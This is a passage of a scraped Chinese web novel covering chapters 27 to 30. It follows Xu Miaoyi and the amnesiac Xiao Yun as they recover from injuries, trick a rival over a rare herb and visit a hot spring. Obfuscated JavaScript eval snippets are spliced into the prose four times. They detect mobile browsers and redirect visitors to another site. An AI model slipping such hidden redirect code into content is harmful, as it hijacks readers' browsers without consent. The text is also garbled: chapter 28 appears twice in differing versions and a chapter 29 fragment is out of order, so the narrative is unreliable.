不知过了多久,忽然有脚步声响起,随后是一阵淅沥水声,大约是拧帕子发出的。 萧韫料想是许妙仪来为他“擦身子”了,一边抬眼去瞧她,一边扭捏道:“阿双,其实你不用做这些……” 话说一半便卡在了喉咙里——眼前根本不是他家夫人漂亮的脸蛋,而是郑牛那张憨厚带笑的面孔。 萧韫面上的羞赧瞬间化为了尴尬:“怎么是你?” 郑牛道:“娘子说她肩膀疼,便请我代劳。” “肩膀疼?”萧韫很快反应过来,这大概是因为此前他在她肩上靠了许久,不由心生愧疚,语气中的忧虑也就深了几分,“可疼得厉害?” 郑牛想了想,道:“那应该没有。” 萧韫这才略松了口气,暗想道:待阿双回来,他一定要替她好好揉揉。 谁知这时郑牛又道:“对了,娘子让我转告你,你有伤在身,她不好与你同榻,今夜就和嫣儿挤挤。” 萧韫默了默,在心里安慰自己:“罢了,夫人也是为了他好……” 此时郑嫣房中已经熄了灯。 黑暗中,郑嫣忽然道:“娘子,你的武功真好。”她声音很轻,饱含艳羡的情绪。 “你想学吗?我教你两招如何?”许妙仪瞬间来了精神,“青州是大地方,免不了有些心怀不轨的人,你年轻漂亮,应该有些防身的技能。” “当真?”郑嫣惊喜不已,“那就多谢娘子了!” 却说萧韫熄灯后,一直没有倦意,或许是白日里昏迷那一遭已经睡饱了。 他的脑中世界格外精彩。先是许妙仪那句“生死相随”以及开导他的话语反复回响,挥之不去。 好不容易将它们抛开,他又莫名想起昨夜两人相拥入眠的情景。对比之下,他忽而就觉得身边空荡荡的…… 直到月落东方,他才睡过去。 许妙仪倒是睡得颇为香甜,起了个大早,用过早膳便拉着郑嫣开始了练习。 萧韫一推开窗子看见的便是这样一副画面—— 暖阳下,许妙仪泼墨般的发晕着淡淡的金色光泽,脸蛋儿更如羊脂玉般剔透莹润,此时她一脸认真,正在指点郑嫣的动作。 萧韫不自觉弯起了唇角,心想:她是一个很好的女子,勇敢聪慧,正直善良。 不愧是他的夫人。 倏地,他又敛起了笑意。 许妙仪注意到了萧韫,连忙小跑过来,惊讶道:“你居然能下地了?” 萧韫失笑:“我伤的又不是腿。” “也是。”许妙仪又问,“那你现在感觉如何?” “尚可。”面色苍白,眼下乌青,唇色惨淡的萧韫一本正经道。 许妙仪明显不放心,道:“你还是先躺着吧,我找王姐给你看看。”说罢,她转身欲走。 萧韫连忙叫住她:“等等。” “怎么?”许妙仪回头。 “夫人昨晚睡得可好?” “挺好的啊。” 萧韫闻言,眉头微蹙,随即垂下眼睫,似乎有些伤感:“夫人都不想我吗?我可是想夫人想得大半夜没睡着。” 许妙仪扯了扯唇角,无情道:“少说那些不正经的。”语毕,她迅速跑开了。 王氏为萧韫检查了身体,叮嘱道:“郎君这一个月内千万不能过度劳累,更不能动武。” 许妙仪谢过王氏,决定明日启程回阳泉,并将镖局的事情详细与萧韫说了一遍。 翌日一早,郑家夫妻含着依依不舍的泪,将郑嫣与萧许两人送上了去往阳泉的牛车。 牛车虽看上去和马车大差不差,速度却慢了许多,到达阳泉时已差不多是正午了。 三人下了车,一齐往车行而去。 没走多久,萧韫忽然附在许妙仪耳边,低声提醒道:“有人在跟踪我们。” 许妙仪点头:“我也察觉到了。” 萧韫笑叹:“我与夫人果然心有灵犀。” 许妙仪:“……” 她懒得回他,转而嘱咐郑嫣去路边茶摊稍候片刻。 郑嫣虽不明白,但也没多问,点头应下了。 萧许两人拐进一条清冷小巷,行了数十步,却并没有如愿听见身后的脚步声。 许妙仪隐隐觉得有些不对劲,还没来得及开口与萧韫串气,余光就瞥见斜上方倏然落下一道人影。 两人大骇,不约而同地连忙后退,同时拔剑。 不料来人对着他们“扑通”一声就跪了下去,激动道:“郎君,属下可算找着您了!” 许妙仪定睛一看,此人赫然正是上次被她吊到树上的侍卫。 看来他这次学聪明了。 许妙仪又看向萧韫,见他看李梧的眼神像是在瞧一个陌生的怪人,于是提醒道:“这是你的手下。” 接着,他又对李梧道:“你家郎君失忆了,还受了很重的伤,你赶紧想想办法吧。” “郎君您……不记得属下了?”李梧有些不敢置信。 萧韫诚实道:“看着有点熟悉,但想不起来。” 李梧痛心疾首:“郎君,属下打小就跟在您身边了,您怎么能把属下给忘了?”说着,他颤抖着伸手指向许妙仪,“您不记得属下,却记得她?您与她相识还不到一个月啊!” 萧韫拧眉,低斥道:“胡说!我分明与夫人情深义重。” 李梧、许妙仪:“……” “都说了他失忆了,你就别老问了,快想想办法吧。”许妙仪道,“我记得,你们似乎带了一个郎中来。” 李梧叹了口气,一脸认命般的无奈:“此去距离较远,郎君稍等,我去找一辆牛车来。” 趁着李梧找车,许妙仪把郑嫣领了过来。萧韫明白她的意思,命李梧先将郑嫣送上了去青州的车,这才去寻郎中。 此行目的地并不在医馆,而是在一间小院。 面目和蔼的万郎中先为萧韫诊了脉,接着开始施针。 那针比寻常的绣花针粗了好几倍,看得许妙仪有些胆寒,不自觉屏息敛声。 没多久,萧韫便顶了一脑门的银针。 这画面惊悚,却又莫名有些滑稽。 小半个时辰后,万郎中取下银针。 许妙仪连忙凑到萧韫身边,问:“感觉如何?有没有想起来什么?” 萧韫睁眼,直直盯着许妙仪,眸色漆黑深邃,不可捉摸。他薄唇轻启,吐出一个字:“有。” 许妙仪双眼一亮,追问道:“想起什么了?” 萧韫神情忽而一变,一双凤眸微弯,揶揄道:“想起来你是我的夫人。” 许妙仪:“……” 一旁的万郎中道:“哪有这么快见效啊?除了每日用药,每五日还得扎一次针。此外还需多以热水沐浴,有助于淤血扩散。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192649|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李梧道:“说起来,阳泉附近有许多温泉。要不属下现在就去安排?” 许妙仪蹙眉:“过两日吧,我们得先镖局复命。” “郎君的安危才是最重要的。”李梧寸步不让。 萧韫:“我听夫人的。” 李梧一噎,欲言又止,最终只能低叹一声。 待萧韫领着许妙仪离开,李梧幽幽地问万郎中:“这女人是不是给郎中下了什么蛊?” 万郎中抚着胡子,笑而不语。 萧许两人回到镖局。开门的管事见了他们,十分惊讶,忙问:“你们这两日都去哪儿了?” 许妙仪做出一副惭愧的表情,道:“我们那夜在外头喝醉了,回镖局的路上与人起了冲突,不幸跌入河中,被水冲走了。” “你们也真是的!前两日,郎君可是派了许多人寻你们呢。”管事道,“你们先回屋换身衣服吧,待会儿自己去跟郎君解释吧。” 两人应下,回到房间换了衣服,便向蓝钰私院而去。 “郎君正在会客,你们且等一等。”私院门口的护卫如是告知。 两人应下,站在一旁等候。 不多时,院门打开,几个男子走了出来。许妙仪抬眼一瞧,顿时面色微变——为首那青年正是那日和他们抢飞夏草的人! 但很快,她重新冷静了下来:当日缠斗时,她和萧韫一直都是戴着面具的,这青年并不知道他们的真面目。 如她所料,那青年连一个眼神都没给他们。 蓝钰看上去心情很差。平日里她还会装和蔼,如今却是连装都懒得装了,全程板着脸。 好在她目前的心思并不在他们身上,没怎么为难他们,只斥责了几句,再以“醉酒误事”之名扣了他们三个月工钱。 回到院门口,许妙仪向那侍卫打听道:“兄台可知方才那青年是做什么的?趾高气扬的,看着就让人讨厌!” 那人犹豫了片刻,道:“告诉你也无妨——他是剑玄楼少主身边的薛护法。你可能还不知道,我们三郎君与大郎君素来交恶,而那剑玄楼少主又与大郎君交好。这薛护法,此番偷偷摸摸跑到我们阳泉来寻一个什么草药,那必定是不安好心啊。郎君知道了,就派人将他‘请’来了。” 许妙仪心头一震,表情都有些挂不住了。但很快她又敛起情绪,故作恍然:“原是如此,多谢兄解惑。” 萧韫敏锐察觉到许妙仪情绪不对,待走远了些,便立刻关切地询问:“阿双怎么了?” 许妙仪叹了口气,闷闷道:“这下头的人虽不知那人寻的是飞夏草,但姓蓝的肯定是知晓的,并且可能已经将其功用打听得一清二楚了。所以,这飞夏草没用了。” “想我们这几天出生入死,为的都是它。”许妙仪说着,愧疚地看了萧韫一眼,“若此行只有我一人倒也无所谓,可是你……” “没关系的,阿双。是我自己决定要与你同去黑市,也是我自己要救你的,与你何干?”萧韫温声安慰,“再说了,我们是夫妻,何必计较这么多呢?” 经他这么一说,许妙仪心中愧疚更甚了。 还不知萧韫恢复记忆后,会怎样向她讨债呢……罢了,以后的事以后再说吧,人应该活在当下。 许妙仪重新抖擞精神,道:“我们当务之急是想一个新的法子。” 萧韫颔首。 两人陷入沉思,无声地走了一路,直到回到房中,许妙仪方灵光一现:“既然蓝家内部关系不好,想必是会在彼此阵营中安插卧底的吧?” “确然如此。”萧韫道,“但那女贼首精明,未尝不会察觉。” “世上的聪明人多着呢,究竟有没有卧底,试试才知道。”许妙眼中透出几分狡黠。 萧韫挑眉:“阿双可是有好法子?” 许妙仪颔首,笑道:“是呀,不过要想成事,还得请神通广大的萧御史相助。” 28.做局 翌日辰时,阳泉城内某客栈的二楼房间。 几个玄衣侍卫正在收拾东西,薛丹双手撑在窗台上,眺望街景,面色凝重。 昨日,蓝钰给他下了帖子,表面上是请他去“品茶”,实际上则是敲打他不要在自己的地盘上乱来,且隐隐有驱逐他的意思。 他虽然看不起蓝钰,但也知道强龙不压地头蛇,他还是避其锋芒为好,反正那株飞夏草也没了着落…… “护法,好消息!天大的好消息!”某个手下的声音忽然响起,分外激动。 薛丹不耐烦地“啧”了一声,头也不回,冷冷吐出一个字:“说。” “有飞夏草的消息了!” 薛丹连忙转身,几个箭步冲到那说话的手下跟前:“当真?!” “千真万确!”手下使劲点头,“属下方才在隔壁铺子买干粮,偶然听得几人闲聊。其中一人说自己是名药商,途径阳泉。他炫耀自己无药不有,还做了列举,其中就有飞夏草呢!” “太好了!”薛丹喜不自胜,当即往楼下奔去,“走!” 一行人风风火火赶到地方,看到的却是这样一副场景—— 那铺子门口围了熙熙攘攘一圈人,议论纷纷。 薛丹蹙眉,对手下递了个眼色。手下会意,随机抓住一个路人,询问道:“里头出什么事了?” 那路人答道:“也不是什么大事,就一个小镖师当街抓了一个扒子手。” 话音刚落,便见人群分开了一条路,从中走出来一个身形清瘦的少年。这少年大半张脸都被紫色胎记覆盖着,颇为骇人。 但真正令薛丹变了面色的,是他穿在身上的劲装,通体玄色,只袖口镶着一道红边,边上滚着白蛇纹路——这是明远镖局特有的。 薛丹嫌恶地收回目光,示意手下去找那药商。 此时人群已经散得差不多了,手下极目远眺,很快就找到了目标——一个正准备上马车的中年男人。 侍卫连忙跑了过去,道:“郎君留步!” 那男人步子一顿,转过身来,露出一张笑眯眯的和蔼的脸:“什么事呀?” 此时薛丹已经背着手踱步到了马车前。他慢悠悠道:“听闻你手上有一味飞夏草,不知什么价格出手?” “哦,飞夏草啊。”药商露出歉意的笑,“刚刚送人了。” “送人了?”薛丹表情一僵,简直怀疑自己的耳朵出了问题。 “是啊,那两个小镖师帮我逮着了扒子手,我无以为报,只能挑几味名贵的药草赠送了。” 薛丹一面感慨无商不奸,一面悔不当初。 就应该早点来的! 若是别的人,他或可用钱收买,或可用剑玄楼的名号逼迫,但那少年是蓝钰的人,他便无可奈何了。 飞夏草在市面上的稀有程度堪比百年人参,他若又放弃了眼前这株,还不知要寻多少个地方才能得到下一株呢! 思来想去,薛丹做了一个冒险的决定:“拿纸笔来,我要给少主写信!” 却说药商进了车厢,端坐在里头的李梧便对他竖了一个大拇指,低声赞道:“万伯演技出神入化。” 另一边,许妙仪做完了戏,径直来到了附近某酒楼的一间雅间,萧韫正在里头等候。 萧韫笑道:“没想到,阿双的演技还挺不错的。” 许妙仪笑而不语,在他对面坐下。她正欲给自己倒杯水喝,萧韫却抢先一步拿过茶壶。 换做以往,对他这般行径,许妙仪都是觉得无语。但今日不知怎的,她竟莫名觉得有些不好意思。 若萧韫真的在失忆前就喜欢上了她,她怎好还像以前那样堂而皇之地接受他的好意? 于是,当萧韫把水杯递到她面前时,她没有接,道:“我突然不渴了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199912|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 萧韫自然能看出来她有所顾虑,眸中不禁泛起深深的疑惑与探究。 许妙仪及时转移了话题:“等鱼儿上钩怎么也要两日,这两日闲着也是闲着,你可以让李梧给你安排个温泉。” “有理。”萧韫颇为赞同,又问道,“阿双也一起去吧?” 许妙仪撇了撇嘴,不屑道:“我去做什么?我又没失忆。” 萧韫“诶”了一声,道:“阿双此言差矣。泡温泉能够活血化瘀,促进血液循环,从而强身健体呢。” 听他这么一说,许妙仪目露几分动容,终于还是点头了,但不忘嘱咐道:“那先说好,我不和你一个池子——你发誓!” “好。”萧韫无奈一笑,竖起三根手指,“我萧韫发誓,绝不和阿双一个汤池,否则就天打雷劈,不得好死。” 许妙仪这才满意。 他们向管事告了半日假,说是要去求名医针灸,以求伤势快些痊愈。 管事并没有多想,当即就同意了。 两人出了镖局,在闹市趁人多眼杂上了一辆马车。马车载着他们一路往城外而去,停在了一座名为“华清山庄”的庄子门前。 “这华清山庄是阳泉附近最好的一座汤汁庄子。今日属下包了场,别说是其他客人了,就是东家的人也一个都没留,里头的奴仆都是自己人,郎君大可放心。”李梧道。 萧韫点点头,同许妙仪下了车。 侍从将两人引到一处屋宇前,分别进了相邻的两个房间。 一进门,便有氤氲的热气扑面而来。许妙仪环顾一周,见此处陈设简单整洁,汤池宽阔且水色干净,颇为惊喜,不禁微微翘起了唇角。 但当目光落到右侧墙面上时,她笑容倏地一僵。 那墙壁的上半部分是镂空的,只蒙着一层薄薄的白纱。细细看去,她甚至可以朦胧看见萧韫的身影! 29.温泉 许妙仪吓了一跳,随即就要拔剑。 那黑影站定,熟悉的清冷嗓音响起:“阿双,是我。” 许妙仪定睛一看,来人正是萧韫,惊道:“你、你这么快就用膳回来了?” 萧韫失笑:“已经过去半个时辰了。” 许妙仪有些尴尬,又问:“那你在这里站了多久了?” “不过一刻钟而已,”萧韫轻笑,“我还是受得住的。” 许妙仪鬼使神差一般,伸手去碰了一下萧韫的手。她被那冰冷的温度吓了一跳,连忙道:“手都这么凉了,你还不快点进去烤火!到时候病倒了可别赖我!” 萧韫感觉手上被灼了一下,心头也跟着猛然一跳。他对上许妙仪紧张而担忧的眼神,心中明白了什么,不自觉地勾唇一笑,问:“阿双是想明白了吗?” 许妙仪一顿,随后垂下眼睫,郑重地点了点头。 萧韫不知从何处拿出一个小巧的食盒,笑道:“我给你带饭了。” 许妙仪目露几分惊喜。 “等阿双思考完再去,恐怕就只能和老鼠一同用膳了。”萧韫调侃道。 许妙仪:“……”这人说话怎么还是这么讨厌? * 翌日辰时,阳泉城内某客栈的二楼房间。 几个玄衣侍卫正在收拾东西,薛丹双手撑在窗台上,眺望街景,面色凝重。 昨日,蓝钰给他下了帖子,表面上是请他去“品茶”,实际上则是敲打他不要在自己的地盘上乱来,且隐隐有驱逐他的意思。 他虽然看不起蓝钰,但也知道强龙不压地头蛇,他还是避其锋芒为好,反正那株飞夏草也没了着落…… “护法,好消息!天大的好消息!”某个手下的声音忽然响起,分外激动。 薛丹不耐烦地“啧”了一声,头也不回,冷冷吐出一个字:“说。” “有飞夏草的消息了!” 薛丹连忙转身,几个箭步冲到那说话的手下跟前:“当真?!” “千真万确!”手下使劲点头,“属下方才在隔壁铺子买干粮,偶然听得几人闲聊。其中一人说自己是名药商,途径阳泉。他炫耀自己无药不有,还做了列举,其中就有飞夏草呢!” “太好了!”薛丹喜不自胜,当即往楼下奔去,“走!” 一行人风风火火赶到地方,看到的却是这样一副场景—— 那铺子门口围了熙熙攘攘一圈人,议论纷纷。 薛丹蹙眉,对手下递了个眼色。手下会意,随机抓住一个路人,询问道:“里头出什么事了?” 那路人答道:“也不是什么大事,就一个小镖师当街抓了一个扒子手。” 话音刚落,便见人群分开了一条路,从中走出来一个身形清瘦的少年。这少年大半张脸都被紫色胎记覆盖着,颇为骇人。 但真正令薛丹变了面色的,是他穿在身上的劲装,通体玄色,只袖口镶着一道红边,边上滚着白蛇纹路——这是明远镖局特有的。 薛丹嫌恶地收回目光,示意手下去找那药商。 此时人群已经散得差不多了,手下极目远眺,很快就找到了目标——一个正准备上马车的中年男人。 侍卫连忙跑了过去,道:“郎君留步!” 那男人步子一顿,转过身来,露出一张笑眯眯的和蔼的脸:“什么事呀?” 此时薛丹已经背着手踱步到了马车前。他慢悠悠道:“听闻你手上有一味飞夏草,不知什么价格出手?” “哦,飞夏草啊。”药商露出歉意的笑,“刚刚送人了。” “送人了?”薛丹表情一僵,简直怀疑自己的耳朵出了问题。 “是啊,那扒子手可恶至极,偷什么不好,竟偷我那装着药库钥匙的香囊!幸好那个小镖师帮我逮着了。我感激不尽,无以为报,只能挑几味名贵的药草赠送了。” 薛丹一面感慨无商不奸,一面悔不当初——就应该早点来的! 若是别的人,他或可用钱收买,或可用剑玄楼的名号逼迫,但那少年是蓝钰的人,他便无可奈何了。 飞夏草在市面上的稀有程度堪比百年人参,他若又放弃了眼前这株,还不知要寻多少个地方才能得到下一株呢! 思来想去,薛丹做了一个冒险的决定。 * 许妙仪做完了戏,径直来到了附近某酒楼的一处雅间,萧韫正在里头等候。 萧韫笑道:“没想到,阿双的演技还挺不错的。” “你那几个属下的演技也还不错。”许妙仪说着,在萧韫对面坐下。 萧韫递过来一杯清水,许妙仪从容接过饮下,又道:“等鱼儿上钩怎么也要两日,闲着也是闲着,你背上伤口也快结痂了,可以让李梧给你安排个温泉。” “言之有理。”萧韫颇为赞同,又问道,“阿双也一起去吧?” 许妙仪撇了撇嘴,不屑道:“我去做什么?我又没失忆。” 萧韫“诶”了一声,道:“阿双此言差矣。泡温泉能够活血化瘀,促进血液循环,从而强身健体呢。” 听他这么一说,许妙仪不免有些心动,但还是有些狐疑:“真的吗?” 在她那个年代,她从未听说过这种说法。 “我还会诓骗你吗?”萧韫笑道,“汤沐养生,不少医书都有记载,看来阿双也有不精的地方。” 许妙仪懒得与他逞口舌之快,只暗自考虑着汤池一事。她终于还是点头了,道:“那先说好,我不和你一个池子——你发誓!” “好。”萧韫无奈一笑,竖起三根手指,“我萧韫发誓,绝不和阿双一个汤池,否则就天打雷劈,不得好死。” 许妙仪这才满意。 萧韫以鸣镝唤来了李梧,吩咐他安排温泉一事。 李梧应下,却并没有立即离开,而是道:“郎君,属下有事想单独与您汇报。”说着,他瞥了一眼许妙仪。 许妙仪对他们的事情没兴趣,不待萧韫开口,自己便出去了。 “什么事?”萧韫问。 “郎君,属下本以为你是假装失忆,昨日问了万郎中方知,您是真不记得了……”李梧觑了一眼萧韫的神色,犹豫着问道,“所以,您现在是真心喜欢那女人?” 萧韫没想到李梧会问得这么直白,心生恼怒,狠狠剜了他一眼。 虽嘴上没有回答,但萧韫心中已经开始思索起了这个问题。 其实在最初醒来之时,萧韫对许妙仪的好感似乎并不多。但结合模糊的记忆,他觉得他应该是喜欢她的。 后来在相处中,他渐渐发现她是个可爱的人,正直勇敢,聪明善良,又有点小傲骄。当她在树林里要和他生死相随时,他的心便塌陷了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223086|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更何况后头,她还替他纾解心结,为他求平安符……他喜欢她,是件很合理的事。 李梧也明白了萧韫的答案,低低叹了一声。作为郎君最亲近的护卫,他心知肚明:郎君这样快地就接受了那女人,估计有很大一部分原因是忘记了那件事…… 其实这样也好。往者不可谏,来者犹可追,郎君早就应该走出来了。 思及此处,李梧决定隐瞒下那件事。 想了想,他将“李霜儿”没有习武经历却有非凡武艺一事说了出来,提醒道:“她毕竟身份可疑,郎君还是谨慎为好,不可尽信。” 萧韫颔首道:“你放心,我自有考虑。” 翌日,两人向管事告了半日假,说是要去求名医针灸,以求伤势快些痊愈。 管事并没有多想,立刻就同意了,但还是嘱咐道:“你俩可别再弄出些什么名堂了!” 两人出了镖局,在闹市趁人多眼杂上了一辆马车,马车载着他们一路往城外而去。 为免届时弄脏池水,许妙仪便将面上胎记卸了。 萧韫盯着她的动作,忽而道:“阿双,其实你无论你长什么样子,我……都很喜欢。” 听到这句突如其来且莫名其妙的情话,许妙仪半是奇怪半是羞赧,瞪了萧韫一眼:“我问你了吗?” 萧韫笑道:“难道话语都是需要有人问了,才能说吗?” 许妙仪无言以对,耳根莫名有些发烧。她冷哼一声,扭头去看窗外了。 小半个时辰后,马车停在了一座名为“华清山庄”的庄子门前。 “这华清山庄是阳泉附近最好的一座汤汁庄子。今日属下包了场,别说是其他客人了,就是东家的人也一个都没留,里头的奴仆都是自己人,郎君大可放心。”李梧道。 萧韫点点头,同许妙仪下了车,由奴仆引着往庄子里走。两人在一道照壁前分开,往相反方向去了。 一进门,便有氤氲的热气扑面而来。许妙仪环顾一周,见此处陈设简单整洁,汤池宽阔且水色干净,心情不自觉愉悦了起来。 侍女指着一旁搭着衣服的木架子,道:“娘子,奴服侍您换上浴衣吧?” 许妙仪颔首笑道:“多谢。” 这浴衣其实就是一件宽松的长衫,质地很是轻薄,如果沾了水,恐怕就与透明的无异了。 许妙仪还是第一次穿这样的衣裳,难免有些不好意思。但转念一想,她这副模样也只有她和这侍女能看见,于是便也无所谓了。 下了汤池后,许妙仪便请侍女出去候着了。 池水水温适宜,叫她身体每一处都得到了熨帖,舒适得不得了。 泡了一会儿之后,她突发奇想,想练习一会儿闭气,于是将整个人都沉到水面下了。 这池子呈不规则的圆形,直径约莫丈余,许妙仪甚至可以在里头游泳。 游着游着,她忽而发现池壁上有个大洞,里头隐隐透出些许光亮。心中好奇,她一时也没多想,直接钻了进去。 光亮越来越近,她很快穿过隧道,来到了一处宽阔的水域,约莫也是个汤池。 这时,侧上方的水流忽然搅动起来,紧接着一只手朝她抓来。 许妙仪大惊失色,下意识地侧身一避,同时握住那只手用力下拽。 很快,模糊的视线中,一张熟悉的脸闯了进来。 30.风寒 虽然视线模糊,但仅仅看那优越的骨相,便知除了萧韫再不会是旁人。 她跟萧韫不是往相反方向去了吗?怎么会? 许妙仪震惊不已,呼吸不自觉地乱了,鼻中呛进来一口水。 萧韫同样也看见了许妙仪,连忙伸手将她捞了过来。 “哗啦”一声,两人从水下探出头来。 许妙仪伸手抹了一把面上的水,剧烈地咳嗽着。 萧韫本想调侃几句,却见她乌发凌乱地贴在面上,两颊绯红,像经春雨洗涤过的桃枝般鲜明动人。 他自小饱读诗词歌赋,如今大脑却是一片空白,想不出一个句子、一个词来形容她。或者说,所有言语在她面前都黯然失色了。 一股甜香萦绕了过来,他认得那是她的体香。这香气以往都是淡淡的,要贴得很近才能闻到。而如今在热气蒸腾下,竟是有铺天盖地之势,他被淹没其中,挣脱不得。 他的一颗心几乎要跳出嗓子眼,更糟糕的是,他水面下的身体竟不受控制地……起了反应。 许妙仪终于停止了咳嗽,这才想起自己正身在萧韫的池子中。她心头猛然一跳,验证性地往旁边看去。 但见萧韫难得的披散着头发,附在额上的发丝向下淌着水珠,落在他本就湿润的眼睫上。他漆黑的眸中起了一层雾,似雨后山岚,又似含情脉脉。 许妙仪脑中登时只出现四个字:男狐狸精。 她无比清楚地听见,自己心跳如擂鼓。 她虽然不是青涩的小姑娘,但也从未有过这样暧昧的经历…… 两人虽然隔着一尺距离,却又好似亲密无间。 水深,火热。 最终,萧韫率先别过了头去。 许妙仪也回过神来,讪讪道:“不好意思啊,走错了。” 萧韫没说话,只讷讷地摇了摇头。 许妙仪心中羞赧更甚,一言不发地转身扎进了水里。 水面重新平静下来,仿佛刚刚什么也没有发生过。 可是,那股香气却经久不散。伴随着这气息,许妙仪的声音、面孔仿佛就在眼前耳畔,引诱着他心底最隐秘的渴望。 他们不是夫妻,既不是夫妻,那么自然是不能做那种事情的,所以他也不该有那种念头。 他尝试压制,可身在温热水中,邪火不减反增…… 李梧自认为是个高素养的侍卫,譬如此时,就连郎君沐浴,他也要紧紧守在外头。 倏地,门板后传来萧韫的嗓音,格外沙哑:“拿冷水来。” 李梧怔了怔,又略一揣度,很快便明白了萧韫的心意:“郎君可是觉得水太烫了?” 萧韫轻轻“嗯”了一声。 “属下这就去办!” 李梧动作很快,很快就提来了一桶冷水。推门进去的时候,他看见郎君正背对他而立。他没有多想,正要往汤池方向走,便听萧韫淡淡道:“你出去吧。” 李梧纳罕:“郎君,您不需要属下帮您添水吗?” “嗯,出去。”萧韫声线低沉,似乎是在忍耐着什么。 李梧不敢再有耽搁,放下桶子就出去了。 萧韫走到水桶边,毫不犹豫地一把拎起,将冷水当头淋下。冰冷刺遍全身,体内的泻火这才终于被压下。 李梧在外头听着“哗啦啦”的浇水声,胆战心惊,暗道:郎君这又是抽什么风了? 思索许久仍不得结果,他只好吩咐手下去准备些治风寒的药。 小半个时辰后,萧韫换好衣服,命李梧进去为他绞发。 李梧站在萧韫身后,欲言又止,反而是萧韫先开口了:“她的浴房在哪里?” “就在您隔壁。”李梧答,“只是两扇门开得远。” 果然如此,隔得这么近,两处池子有暗道相连也就不奇怪了。萧韫哂笑。 绞好了发,李梧奉上一个药包,恭敬道:“郎君,这药您带着吧,治风寒的。” 萧韫面色微变,沉声道:“我要这药做什么?” 李梧连忙狡辩:“属下绝对没有偷听墙角,属下只是听说这几天快降温了,故而未雨绸缪!”他一口气说完,方后知后觉自己交了老底,懊恼不已。 萧韫冷笑:“十个大板先记在账上,回去领罚。” 李梧垂头丧气地应下,心叹:忠臣难为啊! 萧韫将药包收进外衣的内置口袋中,若无其事地走出门去,恰好见许妙仪也过来了。 两人视线一相撞,本已经各自平复的心绪又激荡了起来,连忙错开了目光。 回程的马车上,两人都一言不发,气氛尴尬到了极点。 回到镖局后,这种局势也并没有得到好转。许妙仪跑去广场练武了,萧韫则留在房中练字。他们都想压下心头躁意,却都收效甚微。 眼见天色渐暗,许妙仪长叹一声,扔开兵器,往膳堂而去了。 萧韫拿出了那包风寒药,却迟迟没有下一步动作。 他若用了这药,岂不是变相承认了他对她的邪念吗? 而且,他现在只是偶尔打几个喷嚏,就算得了风寒也不会很严重。 思及此处,他郑重地将药包藏了起来。 这夜睡下,许妙仪脑中不受控制地闪回白日里的情形,叫她脸红心跳,久久不能入眠。 隐隐约约地,一道微弱的呼声传来:“冷……” 许妙仪怀疑是自己听岔了,连忙侧耳细听。 “冷……”这次许妙仪听清了,正是萧韫的声音。 她心头一跳,连忙披衣下床,点亮烛火。 只见萧韫整个人蜷缩着,止不住地打着颤儿,面上冒着冷汗,眉头紧锁。 许妙仪心中纳罕:泡温泉不是强身健体的吗?他为什么会突然这样? 她伸手去摸萧韫的额头,刚一触碰到,她便猛地缩了回来,为这滚烫咂舌不已。 这深更半夜的,她去哪儿给他找大夫?就算能找到,也免不了要耗费一番功夫。萧韫如今这样,还能撑到那时候吗? 许妙仪低低骂了句“麻烦精”,赶忙去将自己的被子取来压在萧韫身上,又风风火火地冲出门去,迅速找来一块帕子和一坛酒。 她以酒水混合物浸湿帕子,再将其敷在萧韫额头。 没多久,那冷帕子就变成了热帕子,许妙仪又将其重新浸湿,再次敷了上去。 如此反复数次,萧韫的体温终于低了些许。 按经验来说,只要烧退了,病人就算脱离危险了。但不知怎的,许妙仪忽而有些不敢确定这条经验是否管用,于是一直守在萧韫床边,时不时探探他的体温。 就这样一直到了天色蒙亮,萧韫终于悠悠醒转。 首先进入他眼帘的便是许妙仪。她趴在他榻边,单手撑头打着瞌睡。 萧韫怔了怔,随即反应过来,心里顿时涌起一道暖流,不由自主地轻轻唤了声:“阿双……” 他本意并非是叫醒她,但她还是醒了过来。对上他的视线,她双眼一亮,惊喜道:“你终于醒了!” “嗯……”萧韫扯出一个虚弱的笑,“昨夜是你……一直在照顾我吗?” 许妙仪嗤笑一声,道:“除了我还能有谁?” “谢谢。”萧韫由衷道。 许妙仪转移话题:“对了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240054|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 